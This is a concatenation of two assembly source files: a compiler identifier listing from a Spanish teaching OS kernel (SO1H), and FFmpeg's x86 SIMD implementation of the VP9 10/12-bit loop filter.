; Ident ccb_t
; Ident inicCcb
; Ident ccb
; Ident encolarCcb
; Ident cb
; Ident desencolarCcb
; Ident eliminarCcb
; Ident eliminarSegCcb
; Ident segmento
; Ident vaciarCcb
; Ident atenderCcb
; Ident libre
; Ident preparado
; Ident ejecutandose
; Ident bloqueado
; Ident estado_t
; Ident modoAp
; Ident dfs
; Ident pos
; Ident dfa_t
; Ident pid
; Ident noStatus
; Ident status
; Ident ppindx
; Ident hpindx
; Ident c2cHijos
; Ident c2cThreads
; Ident CSProc
; Ident tamCodigo
; Ident desplBSS
; Ident desplPila
; Ident tamFichero
; Ident programa
; Ident comando
; Ident nfa
; Ident tfa
; Ident uid
; Ident gid
; Ident descProceso_t
; Ident tid
; Ident estado
; Ident esperandoPor
; Ident trama
; Ident ptindx
; Ident htindx
; Ident pindx
; Ident SSThread
; Ident SP0
; Ident descThread_t
; Ident flibre
; Ident fRegular
; Ident fedBloques
; Ident fedCaracteres
; Ident tuberia
; Ident tipoFichero_t
; Ident tipo
; Ident nombre
; Ident rindx
; Ident menor
; Ident shareMode
; Ident contAp_L
; Ident contAp_E
; Ident descFichero_t
; Ident rLibre
; Ident rDCaracteres
; Ident rDBloques
; Ident rTuberia
; Ident rGP
; Ident rGM
; Ident rSF
; Ident rOtro
; Ident tipoRecurso_t
; Ident open_t
; Ident modo
; Ident release_t
; Ident read_t
; Ident dir
; Ident nbytes
; Ident aio_read_t
; Ident write_t
; Ident aio_write_t
; Ident lseek_t
; Ident whence
; Ident fcntl_t
; Ident cmd
; Ident ioctl_t
; Ident request
; Ident eliminar_t
; Ident tindx
; Ident c2cFichRec
; Ident numVI
; Ident nVInt
; Ident isr
; Ident open
; Ident release
; Ident read
; Ident aio_read
; Ident write
; Ident aio_write
; Ident lseek
; Ident fcntl
; Ident ioctl
; Ident eliminar
; Ident descRecurso_t
; Ident SP0_So1
; Ident IMR
; Ident modoSO1
; Ident ptrDebugWord
; Ident info_t
; Ident signatura
; Ident bytesUltSector
; Ident sectores
; Ident numDirReub
; Ident numParCabecera
; Ident minAlloc
; Ident maxAlloc
; Ident SS0
; Ident checkSum
; Ident IP0
; Ident CS0
; Ident offTablaReub
; Ident numOverlay
; Ident cabecera_t
; Ident Libres
; Ident Ocupados
; Ident e2DescProceso
; Ident e2DescThread
; Ident e2DescFichero
; Ident e2DescRecurso
; Ident e2Hijos
; Ident e2Threads
; Ident e2Preparados
; Ident e2Urgentes
; Ident e2POrdenados
; Ident e2TDormidos
; Ident e2FichRec
; Ident e2PFR_t
; Ident DPLibres
; Ident DPOcupados
; Ident DTLibres
; Ident DTOcupados
; Ident TPreparados
; Ident TUrgentes
; Ident POrdenados
; Ident TDormidos
; Ident DFLibres
; Ident DFOcupados
; Ident DRLibres
; Ident DROcupados
; Ident numColasPFR
; Ident cPFR_t
; Ident sigThread_t
; Ident activarThread_t
; Ident buscarNuevoThreadActual_t
; Ident bloquearThreadActual_t
; Ident ptrIndProcesoActual
; Ident ptrIndThreadActual
; Ident ptrTramaThread
; Ident ptrActivarAlEpilogo
; Ident ptrDescProceso
; Ident tamDescProceso
; Ident ptrDescThread
; Ident tamDescThread
; Ident ptrDescFichero
; Ident ptrDescRecurso
; Ident ptrC2cPFR
; Ident ptrE2PFR
; Ident ptrNivelActivacionSO1H
; Ident ptrEnHalt
; Ident ptrHayTic
; Ident ptrCcbAlEpilogo
; Ident ptrSS_Thread
; Ident ptrSP_Thread
; Ident ptrSS_Kernel
; Ident ptrSP0_Kernel
; Ident SP0_SO1H
; Ident ptrContRodajas
; Ident ptrContTicsRodaja
; Ident ptrVIOrg
; Ident sigThread
; Ident activarThread
; Ident buscarNuevoThreadActual
; Ident bloquearThreadActual
; Ident ptrListaLibres
; Ident ptrTamBloqueMax
; Ident descSO1H_t
; Ident startBin
; Ident unidadBIOS
; Ident CS_SO1H
; Ident RO_SO1H
; Ident DS_SO1H
; Ident BSS_SO1H
; Ident SS_SO1H
; Ident SS_Kernel
; Ident IMRInicial
; Ident obtenerMapa
; Ident descProcesoExt_t
; Ident descThreadExt_t
; Ident descProceso
; Ident descThread
; Ident descFichero
; Ident descRecurso
; Ident c2cPFR
; Ident e2PFR
; Ident descCcbAlEpilogo
; Ident ccbAlEpilogo
; Ident tramaThread
; Ident tramaTarea
; Ident indThreadActual
; Ident indProcesoActual
; Ident indThreadDeSuperficie
; Ident contRodajas
; Ident contTicsRodaja
; Ident contadorTimer00
; Ident contOcioso
; Ident nuevoPid
; Ident nuevoTid
; Ident indice
; Ident registrarEnPOrdenados
; Ident crearThread
; Ident funcion
; Ident crearProceso
; Ident tamFich
; Ident inicProcesos
; Ident resetPids
; Ident resetTids
; Ident terminarThreadIndx
; Ident eliminarThreadIndx
; Ident terminarProcIndx
; Ident eliminarProcIndx
; Ident matarThreadIndx
; Ident matarProcIndx
; Ident link_procs
; Ident SS_Thread
; Ident SP_Thread
; Ident SS_Tarea
; Ident SP_Tarea
; Ident nivelActivacionSO1H
; Ident nVIntActual
; Ident enHalt
; Ident activarAlEpilogo1
; Ident hayTic
; Ident setKernelStack
; Ident setThreadStack
; Ident reg_DL
; Ident prepararDesbloqueadosUrgentes
; Ident VIOrg
; Ident recVInt
; Ident redirigirInt
; Ident redirigirIntHardware
; Ident restablecerInt
; Ident inicTVI
; Ident link_ints
; Ident printCarVideo
; Ident car
; Ident printLnVideo
; Ident printStrVideo
; Ident str
; Ident printStrHastaVideo
; Ident n
; Ident lleno
; Ident printDecVideo
; Ident l
; Ident printLDecVideo
; Ident printIntVideo
; Ident printLIntVideo
; Ident printHexVideo
; Ident printLHexVideo
; Ident printBinVideo
; Ident printLBinVideo
; Ident printPtrVideo
; Ident printByteVideo
; Ident b
; Ident printWordVideo
; Ident w
; Ident printCadVideo
; Ident cad
; Ident isrNula
; Ident rti_00
; Ident envolvente_00
; Ident isr_x
; Bytes used: 5106/16384
; Next label number: 91
; Compilation succeeded.
| so1h/so1h | PRACT0/SO1H/asm/ints.asm | Assembly | bsd-2-clause | 40,929 |
;******************************************************************************
;* VP9 loop filter SIMD optimizations
;*
;* Copyright (C) 2015 Ronald S. Bultje <rsbultje@gmail.com>
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION_RODATA
pw_511: times 16 dw 511
pw_2047: times 16 dw 2047
pw_16384: times 16 dw 16384
pw_m512: times 16 dw -512
pw_m2048: times 16 dw -2048
cextern pw_1
cextern pw_3
cextern pw_4
cextern pw_8
cextern pw_16
cextern pw_256
cextern pw_1023
cextern pw_4095
cextern pw_m1
SECTION .text
%macro SCRATCH 3-4
%if ARCH_X86_64
SWAP %1, %2
%if %0 == 4
%define reg_%4 m%2
%endif
%else
mova [%3], m%1
%if %0 == 4
%define reg_%4 [%3]
%endif
%endif
%endmacro
%macro UNSCRATCH 3-4
%if ARCH_X86_64
SWAP %1, %2
%else
mova m%1, [%3]
%endif
%if %0 == 4
%undef reg_%4
%endif
%endmacro
%macro PRELOAD 2-3
%if ARCH_X86_64
mova m%1, [%2]
%if %0 == 3
%define reg_%3 m%1
%endif
%elif %0 == 3
%define reg_%3 [%2]
%endif
%endmacro
; calculate p or q portion of flat8out
%macro FLAT8OUT_HALF 0
psubw m4, m0 ; q4-q0
psubw m5, m0 ; q5-q0
psubw m6, m0 ; q6-q0
psubw m7, m0 ; q7-q0
ABS2 m4, m5, m2, m3 ; abs(q4-q0) | abs(q5-q0)
ABS2 m6, m7, m2, m3 ; abs(q6-q0) | abs(q7-q0)
pcmpgtw m4, reg_F ; abs(q4-q0) > F
pcmpgtw m5, reg_F ; abs(q5-q0) > F
pcmpgtw m6, reg_F ; abs(q6-q0) > F
pcmpgtw m7, reg_F ; abs(q7-q0) > F
por m5, m4
por m7, m6
por m7, m5 ; !flat8out, q portion
%endmacro
; calculate p or q portion of flat8in/hev/fm (excluding mb_edge condition)
%macro FLAT8IN_HALF 1
%if %1 > 4
psubw m4, m3, m0 ; q3-q0
psubw m5, m2, m0 ; q2-q0
ABS2 m4, m5, m6, m7 ; abs(q3-q0) | abs(q2-q0)
pcmpgtw m4, reg_F ; abs(q3-q0) > F
pcmpgtw m5, reg_F ; abs(q2-q0) > F
%endif
psubw m3, m2 ; q3-q2
psubw m2, m1 ; q2-q1
ABS2 m3, m2, m6, m7 ; abs(q3-q2) | abs(q2-q1)
pcmpgtw m3, reg_I ; abs(q3-q2) > I
pcmpgtw m2, reg_I ; abs(q2-q1) > I
%if %1 > 4
por m4, m5
%endif
por m2, m3
psubw m3, m1, m0 ; q1-q0
ABS1 m3, m5 ; abs(q1-q0)
%if %1 > 4
pcmpgtw m6, m3, reg_F ; abs(q1-q0) > F
%endif
pcmpgtw m7, m3, reg_H ; abs(q1-q0) > H
pcmpgtw m3, reg_I ; abs(q1-q0) > I
%if %1 > 4
por m4, m6
%endif
por m2, m3
%endmacro
; one step in filter_14/filter_6
;
; take sum $reg, downshift, apply mask and write into dst
;
; if sub2/add1-2 are present, add/sub as appropriate to prepare for the next
; step's sum $reg. This is omitted for the last row in each filter.
;
; if dont_store is set, don't write the result into memory, instead keep the
; values in register so we can write it out later
%macro FILTER_STEP 6-10 "", "", "", 0 ; tmp, reg, mask, shift, dst, \
; src/sub1, sub2, add1, add2, dont_store
psrlw %1, %2, %4
psubw %1, %6 ; abs->delta
%ifnidn %7, ""
psubw %2, %6
psubw %2, %7
paddw %2, %8
paddw %2, %9
%endif
pand %1, reg_%3 ; apply mask
%if %10 == 1
paddw %6, %1 ; delta->abs
%else
paddw %1, %6 ; delta->abs
mova [%5], %1
%endif
%endmacro
; FIXME avx2 versions for 16_16 and mix2_{4,8}{4,8}
%macro LOOP_FILTER 3 ; dir[h/v], wd[4/8/16], bpp[10/12]
%if ARCH_X86_64
%if %2 == 16
%assign %%num_xmm_regs 16
%elif %2 == 8
%assign %%num_xmm_regs 15
%else ; %2 == 4
%assign %%num_xmm_regs 14
%endif ; %2
%assign %%bak_mem 0
%else ; ARCH_X86_32
%assign %%num_xmm_regs 8
%if %2 == 16
%assign %%bak_mem 7
%elif %2 == 8
%assign %%bak_mem 6
%else ; %2 == 4
%assign %%bak_mem 5
%endif ; %2
%endif ; ARCH_X86_64/32
%if %2 == 16
%ifidn %1, v
%assign %%num_gpr_regs 6
%else ; %1 == h
%assign %%num_gpr_regs 5
%endif ; %1
%assign %%wd_mem 6
%else ; %2 == 8/4
%assign %%num_gpr_regs 5
%if ARCH_X86_32 && %2 == 8
%assign %%wd_mem 2
%else ; ARCH_X86_64 || %2 == 4
%assign %%wd_mem 0
%endif ; ARCH_X86_64/32 etc.
%endif ; %2
%ifidn %1, v
%assign %%tsp_mem 0
%elif %2 == 16 ; && %1 == h
%assign %%tsp_mem 16
%else ; %1 == h && %1 == 8/4
%assign %%tsp_mem 8
%endif ; %1/%2
%assign %%off %%wd_mem
%assign %%tspoff %%bak_mem+%%wd_mem
%assign %%stack_mem ((%%bak_mem+%%wd_mem+%%tsp_mem)*mmsize)
%if %3 == 10
%define %%maxsgn 511
%define %%minsgn m512
%define %%maxusgn 1023
%define %%maxf 4
%else ; %3 == 12
%define %%maxsgn 2047
%define %%minsgn m2048
%define %%maxusgn 4095
%define %%maxf 16
%endif ; %3
cglobal vp9_loop_filter_%1_%2_%3, 5, %%num_gpr_regs, %%num_xmm_regs, %%stack_mem, dst, stride, E, I, H
; prepare E, I and H masks
shl Ed, %3-8
shl Id, %3-8
shl Hd, %3-8
%if cpuflag(ssse3)
mova m0, [pw_256]
%endif
movd m1, Ed
movd m2, Id
movd m3, Hd
%if cpuflag(ssse3)
pshufb m1, m0 ; E << (bit_depth - 8)
pshufb m2, m0 ; I << (bit_depth - 8)
pshufb m3, m0 ; H << (bit_depth - 8)
%else
punpcklwd m1, m1
punpcklwd m2, m2
punpcklwd m3, m3
pshufd m1, m1, q0000
pshufd m2, m2, q0000
pshufd m3, m3, q0000
%endif
SCRATCH 1, 8, rsp+(%%off+0)*mmsize, E
SCRATCH 2, 9, rsp+(%%off+1)*mmsize, I
SCRATCH 3, 10, rsp+(%%off+2)*mmsize, H
%if %2 > 4
PRELOAD 11, pw_ %+ %%maxf, F
%endif
; set up variables to load data
%ifidn %1, v
DEFINE_ARGS dst8, stride, stride3, dst0, dst4, dst12
lea stride3q, [strideq*3]
neg strideq
%if %2 == 16
lea dst0q, [dst8q+strideq*8]
%else
lea dst4q, [dst8q+strideq*4]
%endif
neg strideq
%if %2 == 16
lea dst12q, [dst8q+strideq*4]
lea dst4q, [dst0q+strideq*4]
%endif
%if %2 == 16
%define %%p7 dst0q
%define %%p6 dst0q+strideq
%define %%p5 dst0q+strideq*2
%define %%p4 dst0q+stride3q
%endif
%define %%p3 dst4q
%define %%p2 dst4q+strideq
%define %%p1 dst4q+strideq*2
%define %%p0 dst4q+stride3q
%define %%q0 dst8q
%define %%q1 dst8q+strideq
%define %%q2 dst8q+strideq*2
%define %%q3 dst8q+stride3q
%if %2 == 16
%define %%q4 dst12q
%define %%q5 dst12q+strideq
%define %%q6 dst12q+strideq*2
%define %%q7 dst12q+stride3q
%endif
%else ; %1 == h
DEFINE_ARGS dst0, stride, stride3, dst4
lea stride3q, [strideq*3]
lea dst4q, [dst0q+strideq*4]
%define %%p3 rsp+(%%tspoff+0)*mmsize
%define %%p2 rsp+(%%tspoff+1)*mmsize
%define %%p1 rsp+(%%tspoff+2)*mmsize
%define %%p0 rsp+(%%tspoff+3)*mmsize
%define %%q0 rsp+(%%tspoff+4)*mmsize
%define %%q1 rsp+(%%tspoff+5)*mmsize
%define %%q2 rsp+(%%tspoff+6)*mmsize
%define %%q3 rsp+(%%tspoff+7)*mmsize
%if %2 < 16
movu m0, [dst0q+strideq*0-8]
movu m1, [dst0q+strideq*1-8]
movu m2, [dst0q+strideq*2-8]
movu m3, [dst0q+stride3q -8]
movu m4, [dst4q+strideq*0-8]
movu m5, [dst4q+strideq*1-8]
movu m6, [dst4q+strideq*2-8]
movu m7, [dst4q+stride3q -8]
%if ARCH_X86_64
TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, 12
%else
TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, [%%p0], [%%q0]
%endif
mova [%%p3], m0
mova [%%p2], m1
mova [%%p1], m2
mova [%%p0], m3
%if ARCH_X86_64
mova [%%q0], m4
%endif
mova [%%q1], m5
mova [%%q2], m6
mova [%%q3], m7
; FIXME investigate if we can _not_ load q0-3 below if h, and adjust register
; order here accordingly
%else ; %2 == 16
%define %%p7 rsp+(%%tspoff+ 8)*mmsize
%define %%p6 rsp+(%%tspoff+ 9)*mmsize
%define %%p5 rsp+(%%tspoff+10)*mmsize
%define %%p4 rsp+(%%tspoff+11)*mmsize
%define %%q4 rsp+(%%tspoff+12)*mmsize
%define %%q5 rsp+(%%tspoff+13)*mmsize
%define %%q6 rsp+(%%tspoff+14)*mmsize
%define %%q7 rsp+(%%tspoff+15)*mmsize
mova m0, [dst0q+strideq*0-16]
mova m1, [dst0q+strideq*1-16]
mova m2, [dst0q+strideq*2-16]
mova m3, [dst0q+stride3q -16]
mova m4, [dst4q+strideq*0-16]
mova m5, [dst4q+strideq*1-16]
%if ARCH_X86_64
mova m6, [dst4q+strideq*2-16]
%endif
mova m7, [dst4q+stride3q -16]
%if ARCH_X86_64
TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, 12
%else
TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, [dst4q+strideq*2-16], [%%p3], 1
%endif
mova [%%p7], m0
mova [%%p6], m1
mova [%%p5], m2
mova [%%p4], m3
%if ARCH_X86_64
mova [%%p3], m4
%endif
mova [%%p2], m5
mova [%%p1], m6
mova [%%p0], m7
mova m0, [dst0q+strideq*0]
mova m1, [dst0q+strideq*1]
mova m2, [dst0q+strideq*2]
mova m3, [dst0q+stride3q ]
mova m4, [dst4q+strideq*0]
mova m5, [dst4q+strideq*1]
%if ARCH_X86_64
mova m6, [dst4q+strideq*2]
%endif
mova m7, [dst4q+stride3q ]
%if ARCH_X86_64
TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, 12
%else
TRANSPOSE8x8W 0, 1, 2, 3, 4, 5, 6, 7, [dst4q+strideq*2], [%%q4], 1
%endif
mova [%%q0], m0
mova [%%q1], m1
mova [%%q2], m2
mova [%%q3], m3
%if ARCH_X86_64
mova [%%q4], m4
%endif
mova [%%q5], m5
mova [%%q6], m6
mova [%%q7], m7
; FIXME investigate if we can _not_ load q0|q4-7 below if h, and adjust register
; order here accordingly
%endif ; %2
%endif ; %1
; load q0|q4-7 data
mova m0, [%%q0]
%if %2 == 16
mova m4, [%%q4]
mova m5, [%%q5]
mova m6, [%%q6]
mova m7, [%%q7]
; flat8out q portion
FLAT8OUT_HALF
SCRATCH 7, 15, rsp+(%%off+6)*mmsize, F8O
%endif
; load q1-3 data
mova m1, [%%q1]
mova m2, [%%q2]
mova m3, [%%q3]
; r6-8|pw_4[m8-11]=reg_E/I/H/F
; r9[m15]=!flatout[q]
; m12-14=free
; m0-3=q0-q3
; m4-7=free
; flat8in|fm|hev q portion
FLAT8IN_HALF %2
SCRATCH 7, 13, rsp+(%%off+4)*mmsize, HEV
%if %2 > 4
SCRATCH 4, 14, rsp+(%%off+5)*mmsize, F8I
%endif
; r6-8|pw_4[m8-11]=reg_E/I/H/F
; r9[m15]=!flat8out[q]
; r10[m13]=hev[q]
; r11[m14]=!flat8in[q]
; m2=!fm[q]
; m0,1=q0-q1
; m2-7=free
; m12=free
; load p0-1
mova m3, [%%p0]
mova m4, [%%p1]
; fm mb_edge portion
psubw m5, m3, m0 ; q0-p0
psubw m6, m4, m1 ; q1-p1
%if ARCH_X86_64
ABS2 m5, m6, m7, m12 ; abs(q0-p0) | abs(q1-p1)
%else
ABS1 m5, m7 ; abs(q0-p0)
ABS1 m6, m7 ; abs(q1-p1)
%endif
paddw m5, m5
psraw m6, 1
paddw m6, m5 ; abs(q0-p0)*2+(abs(q1-p1)>>1)
pcmpgtw m6, reg_E
por m2, m6
SCRATCH 2, 12, rsp+(%%off+3)*mmsize, FM
; r6-8|pw_4[m8-11]=reg_E/I/H/F
; r9[m15]=!flat8out[q]
; r10[m13]=hev[q]
; r11[m14]=!flat8in[q]
; r12[m12]=!fm[q]
; m3-4=q0-1
; m0-2/5-7=free
; load p4-7 data
SWAP 3, 0 ; p0
SWAP 4, 1 ; p1
%if %2 == 16
mova m7, [%%p7]
mova m6, [%%p6]
mova m5, [%%p5]
mova m4, [%%p4]
; flat8out p portion
FLAT8OUT_HALF
por m7, reg_F8O
SCRATCH 7, 15, rsp+(%%off+6)*mmsize, F8O
%endif
; r6-8|pw_4[m8-11]=reg_E/I/H/F
; r9[m15]=!flat8out
; r10[m13]=hev[q]
; r11[m14]=!flat8in[q]
; r12[m12]=!fm[q]
; m0=p0
; m1-7=free
; load p2-3 data
mova m2, [%%p2]
mova m3, [%%p3]
; flat8in|fm|hev p portion
FLAT8IN_HALF %2
por m7, reg_HEV
%if %2 > 4
por m4, reg_F8I
%endif
por m2, reg_FM
%if %2 > 4
por m4, m2 ; !flat8|!fm
%if %2 == 16
por m5, m4, reg_F8O ; !flat16|!fm
pandn m2, m4 ; filter4_mask
pandn m4, m5 ; filter8_mask
pxor m5, [pw_m1] ; filter16_mask
SCRATCH 5, 15, rsp+(%%off+6)*mmsize, F16M
%else
pandn m2, m4 ; filter4_mask
pxor m4, [pw_m1] ; filter8_mask
%endif
SCRATCH 4, 14, rsp+(%%off+5)*mmsize, F8M
%else
pxor m2, [pw_m1] ; filter4_mask
%endif
SCRATCH 7, 13, rsp+(%%off+4)*mmsize, HEV
SCRATCH 2, 12, rsp+(%%off+3)*mmsize, F4M
; r9[m15]=filter16_mask
; r10[m13]=hev
; r11[m14]=filter8_mask
; r12[m12]=filter4_mask
; m0,1=p0-p1
; m2-7=free
; m8-11=free
%if %2 > 4
%if %2 == 16
; filter_14
mova m2, [%%p7]
mova m3, [%%p6]
mova m6, [%%p5]
mova m7, [%%p4]
PRELOAD 8, %%p3, P3
PRELOAD 9, %%p2, P2
%endif
PRELOAD 10, %%q0, Q0
PRELOAD 11, %%q1, Q1
%if %2 == 16
psllw m4, m2, 3
paddw m5, m3, m3
paddw m4, m6
paddw m5, m7
paddw m4, reg_P3
paddw m5, reg_P2
paddw m4, m1
paddw m5, m0
paddw m4, reg_Q0 ; q0+p1+p3+p5+p7*8
psubw m5, m2 ; p0+p2+p4+p6*2-p7
paddw m4, [pw_8]
paddw m5, m4 ; q0+p0+p1+p2+p3+p4+p5+p6*2+p7*7+8
; below, we use r0-5 for storing pre-filter pixels for subsequent subtraction
; at the end of the filter
mova [rsp+0*mmsize], m3
FILTER_STEP m4, m5, F16M, 4, %%p6, m3, m2, m6, reg_Q1
%endif
mova m3, [%%q2]
%if %2 == 16
mova [rsp+1*mmsize], m6
FILTER_STEP m4, m5, F16M, 4, %%p5, m6, m2, m7, m3
%endif
mova m6, [%%q3]
%if %2 == 16
mova [rsp+2*mmsize], m7
FILTER_STEP m4, m5, F16M, 4, %%p4, m7, m2, reg_P3, m6
mova m7, [%%q4]
%if ARCH_X86_64
mova [rsp+3*mmsize], reg_P3
%else
mova m4, reg_P3
mova [rsp+3*mmsize], m4
%endif
FILTER_STEP m4, m5, F16M, 4, %%p3, reg_P3, m2, reg_P2, m7
PRELOAD 8, %%q5, Q5
%if ARCH_X86_64
mova [rsp+4*mmsize], reg_P2
%else
mova m4, reg_P2
mova [rsp+4*mmsize], m4
%endif
FILTER_STEP m4, m5, F16M, 4, %%p2, reg_P2, m2, m1, reg_Q5
PRELOAD 9, %%q6, Q6
mova [rsp+5*mmsize], m1
FILTER_STEP m4, m5, F16M, 4, %%p1, m1, m2, m0, reg_Q6
mova m1, [%%q7]
FILTER_STEP m4, m5, F16M, 4, %%p0, m0, m2, reg_Q0, m1, 1
FILTER_STEP m4, m5, F16M, 4, %%q0, reg_Q0, [rsp+0*mmsize], reg_Q1, m1, ARCH_X86_64
FILTER_STEP m4, m5, F16M, 4, %%q1, reg_Q1, [rsp+1*mmsize], m3, m1, ARCH_X86_64
FILTER_STEP m4, m5, F16M, 4, %%q2, m3, [rsp+2*mmsize], m6, m1, 1
FILTER_STEP m4, m5, F16M, 4, %%q3, m6, [rsp+3*mmsize], m7, m1
FILTER_STEP m4, m5, F16M, 4, %%q4, m7, [rsp+4*mmsize], reg_Q5, m1
FILTER_STEP m4, m5, F16M, 4, %%q5, reg_Q5, [rsp+5*mmsize], reg_Q6, m1
FILTER_STEP m4, m5, F16M, 4, %%q6, reg_Q6
mova m7, [%%p1]
%else
SWAP 1, 7
%endif
mova m2, [%%p3]
mova m1, [%%p2]
; reg_Q0-1 (m10-m11)
; m0=p0
; m1=p2
; m2=p3
; m3=q2
; m4-5=free
; m6=q3
; m7=p1
; m8-9 unused
; filter_6
psllw m4, m2, 2
paddw m5, m1, m1
paddw m4, m7
psubw m5, m2
paddw m4, m0
paddw m5, reg_Q0
paddw m4, [pw_4]
paddw m5, m4
%if ARCH_X86_64
mova m8, m1
mova m9, m7
%else
mova [rsp+0*mmsize], m1
mova [rsp+1*mmsize], m7
%endif
%ifidn %1, v
FILTER_STEP m4, m5, F8M, 3, %%p2, m1, m2, m7, reg_Q1
%else
FILTER_STEP m4, m5, F8M, 3, %%p2, m1, m2, m7, reg_Q1, 1
%endif
FILTER_STEP m4, m5, F8M, 3, %%p1, m7, m2, m0, m3, 1
FILTER_STEP m4, m5, F8M, 3, %%p0, m0, m2, reg_Q0, m6, 1
%if ARCH_X86_64
FILTER_STEP m4, m5, F8M, 3, %%q0, reg_Q0, m8, reg_Q1, m6, ARCH_X86_64
FILTER_STEP m4, m5, F8M, 3, %%q1, reg_Q1, m9, m3, m6, ARCH_X86_64
%else
FILTER_STEP m4, m5, F8M, 3, %%q0, reg_Q0, [rsp+0*mmsize], reg_Q1, m6, ARCH_X86_64
FILTER_STEP m4, m5, F8M, 3, %%q1, reg_Q1, [rsp+1*mmsize], m3, m6, ARCH_X86_64
%endif
FILTER_STEP m4, m5, F8M, 3, %%q2, m3
UNSCRATCH 2, 10, %%q0
UNSCRATCH 6, 11, %%q1
%else
SWAP 1, 7
mova m2, [%%q0]
mova m6, [%%q1]
%endif
UNSCRATCH 3, 13, rsp+(%%off+4)*mmsize, HEV
; m0=p0
; m1=p2
; m2=q0
; m3=hev_mask
; m4-5=free
; m6=q1
; m7=p1
; filter_4
psubw m4, m7, m6 ; p1-q1
psubw m5, m2, m0 ; q0-p0
pand m4, m3
pminsw m4, [pw_ %+ %%maxsgn]
pmaxsw m4, [pw_ %+ %%minsgn] ; clip_intp2(p1-q1, 9) -> f
paddw m4, m5
paddw m5, m5
paddw m4, m5 ; 3*(q0-p0)+f
pminsw m4, [pw_ %+ %%maxsgn]
pmaxsw m4, [pw_ %+ %%minsgn] ; clip_intp2(3*(q0-p0)+f, 9) -> f
pand m4, reg_F4M
paddw m5, m4, [pw_4]
paddw m4, [pw_3]
pminsw m5, [pw_ %+ %%maxsgn]
pminsw m4, [pw_ %+ %%maxsgn]
psraw m5, 3 ; min_intp2(f+4, 9)>>3 -> f1
psraw m4, 3 ; min_intp2(f+3, 9)>>3 -> f2
psubw m2, m5 ; q0-f1
paddw m0, m4 ; p0+f2
pandn m3, m5 ; f1 & !hev (for p1/q1 adj)
pxor m4, m4
mova m5, [pw_ %+ %%maxusgn]
pmaxsw m2, m4
pmaxsw m0, m4
pminsw m2, m5
pminsw m0, m5
%if cpuflag(ssse3)
pmulhrsw m3, [pw_16384] ; (f1+1)>>1
%else
paddw m3, [pw_1]
psraw m3, 1
%endif
paddw m7, m3 ; p1+f
psubw m6, m3 ; q1-f
pmaxsw m7, m4
pmaxsw m6, m4
pminsw m7, m5
pminsw m6, m5
; store
%ifidn %1, v
mova [%%p1], m7
mova [%%p0], m0
mova [%%q0], m2
mova [%%q1], m6
%else ; %1 == h
%if %2 == 4
TRANSPOSE4x4W 7, 0, 2, 6, 1
movh [dst0q+strideq*0-4], m7
movhps [dst0q+strideq*1-4], m7
movh [dst0q+strideq*2-4], m0
movhps [dst0q+stride3q -4], m0
movh [dst4q+strideq*0-4], m2
movhps [dst4q+strideq*1-4], m2
movh [dst4q+strideq*2-4], m6
movhps [dst4q+stride3q -4], m6
%elif %2 == 8
mova m3, [%%p3]
mova m4, [%%q2]
mova m5, [%%q3]
%if ARCH_X86_64
TRANSPOSE8x8W 3, 1, 7, 0, 2, 6, 4, 5, 8
%else
TRANSPOSE8x8W 3, 1, 7, 0, 2, 6, 4, 5, [%%q2], [%%q0], 1
mova m2, [%%q0]
%endif
movu [dst0q+strideq*0-8], m3
movu [dst0q+strideq*1-8], m1
movu [dst0q+strideq*2-8], m7
movu [dst0q+stride3q -8], m0
movu [dst4q+strideq*0-8], m2
movu [dst4q+strideq*1-8], m6
movu [dst4q+strideq*2-8], m4
movu [dst4q+stride3q -8], m5
%else ; %2 == 16
SCRATCH 2, 8, %%q0
SCRATCH 6, 9, %%q1
mova m2, [%%p7]
mova m3, [%%p6]
mova m4, [%%p5]
mova m5, [%%p4]
mova m6, [%%p3]
%if ARCH_X86_64
TRANSPOSE8x8W 2, 3, 4, 5, 6, 1, 7, 0, 10
%else
mova [%%p1], m7
TRANSPOSE8x8W 2, 3, 4, 5, 6, 1, 7, 0, [%%p1], [dst4q+strideq*0-16], 1
%endif
mova [dst0q+strideq*0-16], m2
mova [dst0q+strideq*1-16], m3
mova [dst0q+strideq*2-16], m4
mova [dst0q+stride3q -16], m5
%if ARCH_X86_64
mova [dst4q+strideq*0-16], m6
%endif
mova [dst4q+strideq*1-16], m1
mova [dst4q+strideq*2-16], m7
mova [dst4q+stride3q -16], m0
UNSCRATCH 2, 8, %%q0
UNSCRATCH 6, 9, %%q1
mova m0, [%%q2]
mova m1, [%%q3]
mova m3, [%%q4]
mova m4, [%%q5]
%if ARCH_X86_64
mova m5, [%%q6]
%endif
mova m7, [%%q7]
%if ARCH_X86_64
TRANSPOSE8x8W 2, 6, 0, 1, 3, 4, 5, 7, 8
%else
TRANSPOSE8x8W 2, 6, 0, 1, 3, 4, 5, 7, [%%q6], [dst4q+strideq*0], 1
%endif
mova [dst0q+strideq*0], m2
mova [dst0q+strideq*1], m6
mova [dst0q+strideq*2], m0
mova [dst0q+stride3q ], m1
%if ARCH_X86_64
mova [dst4q+strideq*0], m3
%endif
mova [dst4q+strideq*1], m4
mova [dst4q+strideq*2], m5
mova [dst4q+stride3q ], m7
%endif ; %2
%endif ; %1
RET
%endmacro
%macro LOOP_FILTER_CPUSETS 3
INIT_XMM sse2
LOOP_FILTER %1, %2, %3
INIT_XMM ssse3
LOOP_FILTER %1, %2, %3
INIT_XMM avx
LOOP_FILTER %1, %2, %3
%endmacro
%macro LOOP_FILTER_WDSETS 2
LOOP_FILTER_CPUSETS %1, 4, %2
LOOP_FILTER_CPUSETS %1, 8, %2
LOOP_FILTER_CPUSETS %1, 16, %2
%endmacro
LOOP_FILTER_WDSETS h, 10
LOOP_FILTER_WDSETS v, 10
LOOP_FILTER_WDSETS h, 12
